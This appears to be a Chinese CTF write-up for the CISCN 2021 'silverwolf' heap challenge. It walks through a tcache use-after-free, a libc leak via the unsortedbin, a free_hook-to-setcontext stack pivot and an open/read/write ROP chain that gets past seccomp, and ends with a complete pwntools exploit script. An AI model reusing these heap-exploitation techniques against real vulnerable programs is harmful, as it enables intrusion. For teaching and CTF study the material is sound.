这篇说一下怎么用Tcachebin的UAF到unsortedbin
泄露libc
地址,然后用setcontext
从free_hook
到rop
也是从一道题目说起:[CISCN 2021 初赛]的silverwolf(https://www.nssctf.cn/problem/912 )
找漏洞点·
直接看delete
函数,在free
后指针没有设0
,有UAF
漏洞
另外在libc-2.27
的tcachebin
基址中,只有一个堆块也可以直接构造double free
,但是比UAF
复杂一点,所以这里我就直接用UAF
(有空再补坑,有兴趣的可以试试)
于是这里基本的攻击思路就和笔记vol.0 的差不多,就是通过show
泄露地址,通过edit
构造任意写,然后写到free_hook
或者malloc_hook
接下来细说
Part.1 泄露heap_base·
heap_base
的泄露方法和笔记vol.0 里的是一样的
就是先allocate
一个堆块,然后delete
掉,这样这个堆块的next
指针就会指向下一个堆块,用show
就可以泄露bin
中这个堆块的下一个堆块的地址
正常来说应该是没有下一个堆块的,所以下一个堆块的地址是0
,但这里程序到用户操作的时候在bin
中已经有很多的堆块了(盲猜是做seccomp_rule_add
的时候留下的)
所以选一个tcachebin
中有堆块的大小进行allocate
就好,比如我用0x68
,就会分配到0x70
的tcachebin
中
PS:其实不用delete
也行,因为allocate
的时候会直接取tcachebin
的堆块,这样的话取tcachebin
中有至少两个堆块的大小进行allocate
就好
Part.2 泄露libc_base·
在笔记vol.0 说过,通过把堆块free
到unsortedbin
中,可以泄露main_arena
的地址,然后泄露libc_base
但是把堆块放到unsortedbin
中需要这个堆块满足一些大小的条件,拿个图复习一下(64位的)
大概意思就是,如果堆块大小小于0x420
,而且对应大小的tcachebin
还有位置(里面有小于7
个堆块)的话,这个堆块被free
后就会放到tcachebin
中
如果对应大小的tcachebin
被填满了(里面已经有7
个堆块),而且这个堆块的大小小于等于128
字节(0x80
)的话,就会被放到fastbin
中
如果上面两个条件都不符合,就会被放到unsortedbin
中,后面看情况再放到smallbins
或largebins
中
但在这个题目中,allocate
分配的大小为0x78
,就是即使tcachebin
被填满,还是被放到fastbin
中,到不了unsortedbin
另外,题目的Index
只能是0
,就是只有一个指向所分配堆块的指针(下面不妨令这个指针为chunk
),也就不能直接用分配7
次的方法填满tcachebin
方法.1 构造假的chunk·
我自己首先想到的方法是,在堆上构造一个0x420
或以上的堆块,然后利用UAF
让chunk
指向这个伪造的堆块,最后进行delete
把这个堆块free
掉,就可以到unsortedbin
中,具体做法是:
首先在Part.1中已经allocate
并delete
了一个0x70
的堆块(不妨记为chunk(0x70)
),所以可以接着对这个堆块进行edit
实现UAF
,这里我就把UAF
和fake_chunk
的构造一起做了,写上(比如我写一个0x420
的fake_chunk
)
1 2 3 4 chunk(0x70) + 0x00: | 0 | 0x70 | chunk(0x70) + 0x10: | chunk(0x70) + 0x30 | * | <= chunk point at here chunk(0x70) + 0x20: | 0 | 0x420 | <= my fake_chunk chunk(0x70) + 0x30: | * | * | <= I want chunk point at here
由于堆块chunk(0x70)
已经被delete
,所以UAF
后它在tcachebin
中长这样:
1 -> chunk(0x70) -> chunk(0x70) + 0x30 -> 0
所以进行两次0x68
的allocate
,chunk
指针就会指向chunk(0x70) + 0x30
,就是我构造的fake_chunk
又由于分配tcachebin
的堆块时并不会修改堆块的头部,所以fake_chunk
的结构依然是完整的
于是理论上我再进行一次delete
就可以对chunk
指向的fake_chunk
进行free
,把它扔进unsortedbin
中
但实际上并不是,如无意外delete
后会报错stopped with exit code -31 (SIGSYS)
进行调试后发现,对fake_chunk
进行free
会触发glibc-2.27/malloc/malloc.c:4280
的条件(我看的源码是这个 )
然后在malloc_printerr
的时候会调用一个调用号为0x14
的syscall
,不满足seccomp
沙箱的规则,所以报SIGSYS
,关于沙箱的部分后面再细说
先来看看malloc.c:4280
的条件是什么意思,根据注释可以知道这里是在检查fake_chunk
是不是一个正在使用的堆块,具体的做法是,检查物理地址中fake_chunk
的下一个堆块的PREV_INUSE
位是否为1
,如果不是则丢出错误
关于PREV_INUSE
具体可以参考CTF wiki ,或者翻malloc.c
源码的话也可以知道,除了拿tcachebin
和fastbin
的堆块外,malloc
成功后都会使用set_inuse_bit_at_offset(p, s)
标记堆块是否在使用,其中p
是这个堆块的地址,s
是堆块的大小,而这个宏的意思就是设置p + s
(即物理地址的下一个堆块)的size
中打上PREV_INUSE
位
回到题目中,不妨看一下nextchunk
长什么样
这里可以看到nextchunk->mchunk_size = 0
,那显然prev_inuse(nextchunk)
也是0
,就过不了check
继续看下去,下一行的...7a0
就是一个正常的堆块,而且PREV_INUSE
位为1
,所以不妨把原来fake_chunk
的大小0x421
改成0x431
,就可以过check
了
delete
完成后,chunk->fd
和chunk->bk
都指向main_arena
的某个位置,于是做一次show
就可以泄露libc_base
PS:看回上图,在...7b0
那一行也是满足PREV_INUSE
位,那么能不能用0x441
呢,答案是,这样虽然能过malloc.c:4280
的check
,但过不了malloc.c:4284
的check
其中SIZE_SZ
就是一个word
的大小,64为即SIZE_SZ = 8
,即一个正常的堆块至少要大于2
个word
另外这个堆块的大小也不能超过av->system_mem
(av
指向main_arena
),即已经分配的堆的大小,vmmap
中的[heap]
,所以即使用0x451
也不行
所以好像还是把nextchunk
构造到正常的堆块简单一点
方法.2 利用tcache_perthread_struct·
在NSS上还看到了@Decline的另一种解法 (反正他写得最长,就@他了),就是通过改tcache_perthread_struct
然后把tcache_perthread_struct
给free
掉
先看看这个tcache_perthread_struct
是啥,在代码中的定义是(其中如果没对源码进行修改的话,TCACHE_MAX_BINS = 64
)
这里的counts
记录的是从0x20
到0x410
这64
个tcachebin
中塞了多少个堆块,按注释的说法存这个是为了加速计算,entries
就是这64
个tcachebin
的链表头
在调用malloc
(或其他作用类似的函数)时,都会调用一个叫MAYBE_INIT_TCACHE ()
的宏,这个宏中检查tchcha
是否已经被初始化,如果没有的话会调用一个叫tcache_init
的函数,这个函数会新建一个tcache_perthread_struct
结构,然后把这个结构分配到堆上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 static void tcache_init (void ) { mstate ar_ptr; void *victim = 0 ; const size_t bytes = sizeof (tcache_perthread_struct); if (tcache_shutting_down) return ; arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); if (!victim && ar_ptr != NULL ) { ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL ) __libc_lock_unlock (ar_ptr->mutex); if (victim) { tcache = (tcache_perthread_struct *) victim; memset (tcache, 0 , sizeof (tcache_perthread_struct)); } }
用人话来说,就是在正常情况下,这个tcache_perthread_struct
结构会是堆中的第一个堆块,也就是在heap_base
的位置,大概长这样:
这个堆块的大小是0x250
,所以把这个堆块free
的话不会落到fastbin
中,但它依然会落到tcachebin
中
所以@Decline的做法是修改tcache_perthread_struct
中大小为0x250
的tcachebin
的counts
为7
,这个7
即tcachebin
的最大容量,这样操作后就可以一键把大小为0x250
的tcachebin
填满
然后再对tcache_perthread_struct
进行delete
时,就不会放到tcache
,而因为0x250
大于fastbin
的大小,所以就会放到unsortedbin
中
接下来再看nextchunk
也是一个正常的堆块,所以就可以正常地把tcache_perthread_struct
给free
到unsortedbin
中
最后就是老套路,用show
泄露libc_base
这个做法还能修改entries
,让tcachebin
的链头直接指向想要读写的地方,非常地方便,不过缺点是可能会把tcache
改坏
具体可以去看@Decline的exp
Part.3 用setcontext劫持控制流·
按照笔记vol.0 的做法,到这里直接往free_hook
写one_gadget
就行了,但实际上并不是
看一下程序在初始化的时候还运行了seccomp
沙箱
大概意思是只能使用调用号0
、1
和2
进行syscall
,也就是open
、read
和write
如果使用one_gadget
的话,就会调用execve
,违反了seccomp
沙箱的规则,会SIGSYS
于是接下来的做法应该是要写一段orw
的rop
,而正常的程序或者libc
是不会有这样的orw
的(而且还是要打开/flag
),也就不能找到这样的one_gadget
往free_hook
上写
所以就需要一种方法,从free_hook
到rop
劫持控制流,网上查了一下 说可以用setcontext
setcontext
的作用是做上下文恢复,它可以把一个ucontext_t
结构体的内容恢复到寄存器中,但在这里我们并不关心他的具体功能,翻一下setcontext + 53
的位置有一段这样的gadget
(注意,只是libc-2.27
)
其中rdi
就是指向ucontext_t
结构体的指针,这段gadget
做的就是把ucontext_t
结构体的内容恢复到每个寄存器中,包括rsp
所以如果可以控制rdi + 0xa0
的话,就可以控制rsp
,也就可以把栈迁移到另一个写好rop
的地方
这里要注意还需要把rdi + 0xa8
,也就是恢复rcx
的地方控制成一个rop
(最好是只有ret
),不然setcontext + 94
的push rcx
和setcontext + 127
的ret
可能会使得程序崩溃
那么该如何控制这个rdi
呢,再来看一下free_hook
在调用free
函数时,内部会先检查free_hook
上是否有东西(是不是NULL
),如果有的话就调用free_hook
上的地址
其中传进去的第一个参数(rdi
)是所free
的堆块的地址,第二个参数(rsi
)好像是free
完后的返回地址
也就是只要往free_hook
上写上setcontext + 53
,再往一个堆块上写上ucontext_t
结构体,然后把这个堆块free
掉,就可以把栈移到任意位置
但是还有一个问题是,这样的话至少需要写到rdi + 0xa8
,而题目中的allocate
最大只能0x78
,所以至少需要allocate
到两个连续的堆块才行
注意tcachebins
和fastbins
上本来是有东西的,所以这时每次进行allocate
的位置其实挺乱的,当然你可以找到tcachebins
的规律来allocate
两个连续的堆块,但我想到的另一个方法是可以先进行多次allocate
清空掉tcachebins
和fastbins
,然后把两个连续的堆块分配到top_chunk
的上两个堆块
具体做法是:
首先选择最大的两种堆块0x80
和0x70
,清空掉这两种堆块的tcachebins
和fastbins
,我测试的话进行7
次0x78
的allocate
和13
次0x68
的allocate
就可以清空
这时如果再申请0x80
或0x70
的堆块就不会从已分配过的地方拿堆块,而是从top_chunk
中
至于为什么要选两种大小,是因为我最后想要叠出来的两个堆块大概长成
1 2 3 4 old_chunks chunk1 <= rdi chunk2 top_chunk
用人话来说就是我需要chunk
指向靠上面(低地址)的那个堆块,如果只用一种大小的话,无论怎么弄chunk
都只能指向靠下面(高地址)的堆块,所以就要弄两种大小,结合delete
操作来叠堆块
然后就要思考叠堆块的策略,我的做法是,先申请一个0x70
的堆块,然后delete
掉,这是堆上长的是
1 2 3 old_chunks chunk0(0x70) <= deleted top_chunk
然后再去申请两个0x80
的堆块,就是
1 2 3 4 5 old_chunks chunk0(0x70) <= deleted chunk1(0x80) chunk2(0x80) <= chunk top_chunk
这时再申请一个0x70
的堆块,就可以拿回chunk0
1 2 3 4 5 old_chunks chunk0(0x70) <= chunk(rdi) chunk1(0x80) chunk2(0x80) top_chunk
这样就可以往chunk0
和chunk1
上写ucontext_t
结构体,顺便还能在chunk2
上写之后的rop
最后按照上面的方法写free_hook
和ucontext_t
结构体就好了
Part.4 构造ORW·
最后来看看该怎么写orw
的rop
,也就是open -> read -> write
稍微复习一下,虽然这三个都是系统调用,但在libc
中有对应的函数去调用,看了一下,传参其实和系统调用的一样,其中read
和write
在unistd.h
,open
在fcntl.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #define O_RDONLY 00 #define O_WRONLY 01 #define O_RDWR 02 extern int open (const char *__file, int __oflag, ...) __nonnull ((1 )) ;extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur ;extern ssize_t write (int __fd, const void *__buf, size_t __n) __wur ;
现在需要做的是,先用open
打开/flag
文件拿到一个fd
,然后用read
读fd
的内容到heap
上的buffer
中,最后用write
把buffer
的内容写到stdout
,打印到屏幕中,其中64
位linux
中:
stdin
的fd
是0
,stdout
的fd
是1
,stderr
的fd
是2
read
的系统调用号是0
,write
的系统调用号是1
,open
的系统调用号是2
,
做系统调用可以调用syscall
这个rop
,系统调用号放在rax
,传参按照rdi -> rsi -> rdx -> r10 -> r8 -> r9
的顺序
于是可以写出以下的rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pop rax, 2 ; open pop rdi, file ; file points at "/flag\x00" pop rsi, 0 ; oflags = O_RDONLY syscall ; call open("/falg", O_RDONLY), return fd=3 pop rax, 0 ; read pop rdi, 3, ; fd of /flag pop rsi, buffer ; buffer pop rdx, n ; read n bytes syscall ; call read(3, buffer, n) pop rax, 0 ; write pop rdi, 1 ; fd = stdout pop rsi, buffer ; buffer pop rdx, n ; write n bytes syscall ; call write(stdout, buffer, n)
但这样的话就需要(7 + 9 + 9) * 8 = 0xc8
字节的rop
,而我上面申请写rop
的堆块只有0x78
大小,如果再申请一块的话就太麻烦了,所以需要想办法压缩rop
的数量
可以直接调用libc
中的open
、read
和write
函数,这样就少了用pop rax
设置系统调用号的几个rop
在setcontext
恢复上下文的时候,可以先把rsi
设成0
和把rdx
设成n
,由于我这里的构造问题,不能搞rdi + 0x68
,所以不能设rdi
(果然还是需要优化一下的,比如上面把0x70
和0x80
的分配顺序反过来)
在调用完read
后,调用write
时其实buffer
和n
都不需要变,于是在调用write
的时候只要改fd
就好
于是rop
就可以改成
1 2 3 4 5 6 7 8 9 pop rdi, file ; file points at "/flag\x00" libc_open ; call open("/falg", O_RDONLY), return fd=3 pop rdi, 3, ; fd of /flag pop rsi, buffer ; buffer linc_read ; call read(3, buffer, n) pop rdi, 1 ; fd = stdout linc_write ; call write(stdout, buffer, n)
这样就只需要(3 + 5 + 3) * 8 = 0x58
字节的rop
,满足大小
但实际操作的时候,在调open
的时候会报SIGSYS
,调了一下,发现其实调用open
的时候,里面调的其实是openat
,而openat
的调用号是0x101
,所以沙箱就爆了
而read
和write
都没这个问题
所以最后把open
改回用syscall
调就好
1 2 3 4 5 6 7 8 9 10 pop rax, 2 ; open pop rdi, file ; file points at "/flag\x00" syscall ; call open("/falg", O_RDONLY), return fd=3 pop rdi, 3, ; fd of /flag pop rsi, buffer ; buffer linc_read ; call read(3, buffer, n) pop rdi, 1 ; fd = stdout linc_write ; call write(stdout, buffer, n)
需要(5 + 5 + 3) * 8 = 0x68
字节,也满足
参考Exp·
上面都说完了,最后给个参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 from pwn import *from time import sleepcontext.log_level = 'debug' context.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.1 LOCAL = False AUTOGDB = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./silverwolf' , env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True , gdbscript='' ) sleep(1 ) AUTOGDB and g.execute('dir /home/tover/SHARE/Lab/gnu_libc/glibc-2.27.tar/glibc-2.27/malloc/' ) and sleep(T) AUTOGDB and g.execute('c' ) and sleep(T) else : gdb.attach(r, gdbscript='dir /home/tover/SHARE/Lab/gnu_libc/glibc-2.27.tar/glibc-2.27/malloc/' ) input ('Waiting GDB...' ) else : AUTOGDB = False r = remote('node4.anna.nssctf.cn' , 28103 ) def allocate (size ): r.sendlineafter(b'choice:' , b'1' ) r.sendlineafter(b'Index:' , b'0' ) r.sendlineafter(b'Size:' , str (size).encode()) sleep(T) def edit (content ): r.sendlineafter(b'choice:' , b'2' ) r.sendlineafter(b'Index:' , b'0' ) r.sendlineafter(b'Content:' , content) sleep(T) def show (): r.sendlineafter(b'choice:' , b'3' ) r.sendlineafter(b'Index:' , b'0' ) r.recvuntil(b'Content: ' ) return r.recvline()[:-1 ] def delete (): r.sendlineafter(b'choice:' , b'4' ) r.sendlineafter(b'Index:' , b'0' ) sleep(T) allocate(0x68 ) delete() AUTOGDB and g.execute('p "leak heap_base"' ) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x202058)-0x10 128' ) and sleep(T) heap_base = u64(show().ljust(8 , b'\x00' )) - 0x10d0 print (f'{hex (heap_base) = } ' )AUTOGDB and g.execute('p "leak libc_base"' ) and sleep(T) fake_chunk = p64(0 ) + p64(0x431 ) + p64(0 ) + p64(0 ) edit(p64(heap_base + 0x1380 ) + p64(0 ) + fake_chunk) allocate(0x68 ) allocate(0x68 ) AUTOGDB and g.execute('x/gx $rebase(0x202058)' ) and sleep(T) AUTOGDB and g.execute(f'hexdump {heap_base + 0x1350 } 128' ) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) AUTOGDB and g.execute(f'hexdump {heap_base + 0x1370 + 0x430 } 128' ) and sleep(T) delete() libc_base = u64(show().ljust(8 , b'\x00' )) - 0x3ebca0 print (f'{hex (libc_base) = } ' )AUTOGDB and g.execute('p "write free_hook"' ) and sleep(T) for _ in range (13 ): allocate(0x68 ) for _ in range (7 ): allocate(0x78 ) allocate(0x68 ) delete() AUTOGDB and g.execute('bins' ) and sleep(T) libc = ELF('libc-2.27.so' ) libc_free_hook = libc_base + libc.symbols['__free_hook' ] libc_setcontext = libc_base + libc.symbols['setcontext' ] allocate(0x38 ) delete() edit(p64(libc_free_hook)) AUTOGDB and g.execute('bins' ) and sleep(T) allocate(0x38 ) allocate(0x38 ) ''' => 0x7f2eacaae1b5 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] 0x7f2eacaae1bc <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] 0x7f2eacaae1c3 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] 0x7f2eacaae1c7 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] 0x7f2eacaae1cb <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] 0x7f2eacaae1cf <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] 0x7f2eacaae1d3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] 0x7f2eacaae1d7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] 0x7f2eacaae1de <setcontext+94>: push rcx 0x7f2eacaae1df <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] 0x7f2eacaae1e3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] 0x7f2eacaae1ea <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] 0x7f2eacaae1f1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] 0x7f2eacaae1f5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] 0x7f2eacaae1f9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] <= can not use... 0x7f2eacaae1fd <setcontext+125>: xor eax,eax 0x7f2eacaae1ff <setcontext+127>: ret ''' edit(p64(libc_setcontext + 53 )) AUTOGDB and g.execute('x/gx $rebase(0x202058)' ) and sleep(T) AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x202058)-0x10 128' ) and sleep(T) AUTOGDB and g.execute(f'x/gx {libc_free_hook} ' ) and sleep(T) libc_ret = libc_base + 0x8aa sc = [0 for _ in range (22 )] sc[0xa8 //8 ] = libc_ret sc[0xa0 //8 ] = heap_base + 0x1a10 sc[0x88 //8 ] = 1997 sc = b'' .join([p64(_) for _ in sc]) sc += b'/flag\x00\x00\x00' libc_pop_rdi = libc_base + 0x215bf libc_pop_rsi = libc_base + 0x23eea libc_pop_rdx = libc_base + 0x1b96 libc_pop_rax = libc_base + 0x43ae8 libc_syscall = libc_base + 0xd2745 libc_open = libc_base + libc.symbols['open' ] libc_read = libc_base + libc.symbols['read' ] libc_write = libc_base + libc.symbols['write' ] rop = [ libc_pop_rax, 2 , libc_pop_rdi, heap_base + 0x19d0 , libc_syscall, libc_pop_rdi, 3 , libc_pop_rsi, heap_base + 0x2000 , libc_read, libc_pop_rdi, 1 , libc_write ] assert len (rop) < 0x78 // 8 rop = b'' .join([p64(_) for _ in rop]) ''' +0000 0x55ec22c7f910 00 00 00 00 00 00 00 00 71 00 00 00 00 00 00 00 │........│q.......│ +0010 0x55ec22c7f920 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 │00000000│00000000│ <= rdi ... ↓ skipped 4 identical lines (64 bytes)+0060 0x55ec22c7f970 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 │00000000│00000000│ +0070 0x55ec22c7f980 30 30 30 30 30 30 30 30 81 00 00 00 00 00 00 00 │00000000│........│ +0080 0x55ec22c7f990 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 │11111111│11111111│ <= rdi + 0x70 ... ↓ skipped 5 identical lines (80 bytes)+00e0 0x55ec22c7f9f0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 │11111111│11111111│ +00f0 0x55ec22c7fa00 31 31 31 31 31 31 31 31 81 00 00 00 00 00 00 00 │11111111│........│ +0100 0x55ec22c7fa10 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 │22222222│22222222│ ... ↓ skipped 5 identical lines (80 bytes)+0160 0x55ec22c7fa70 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 │22222222│22222222│ +0170 0x55ec22c7fa80 32 32 32 32 32 32 32 32 81 f5 01 00 00 00 00 00 │22222222│........│ +0180 0x55ec22c7fa90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ ... ↓ skipped 6 identical lines (96 bytes)+01f0 0x55ec22c7fb00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ ''' allocate(0x78 ) edit(sc[0x70 :]) allocate(0x78 ) edit(rop) allocate(0x68 ) edit(sc[:0x68 ]) AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x202058)-0x10 256' ) and sleep(T) AUTOGDB and g.execute('p "call libc_setcontext + 53"' ) and sleep(T) AUTOGDB and g.execute(f'hexdump {hex (heap_base + 0x1a10 )} 128' ) and sleep(T) AUTOGDB and g.execute(f'b *{hex (libc_setcontext + 127 )} ' ) and sleep(T) delete() r.interactive() r.close()
历史笔记·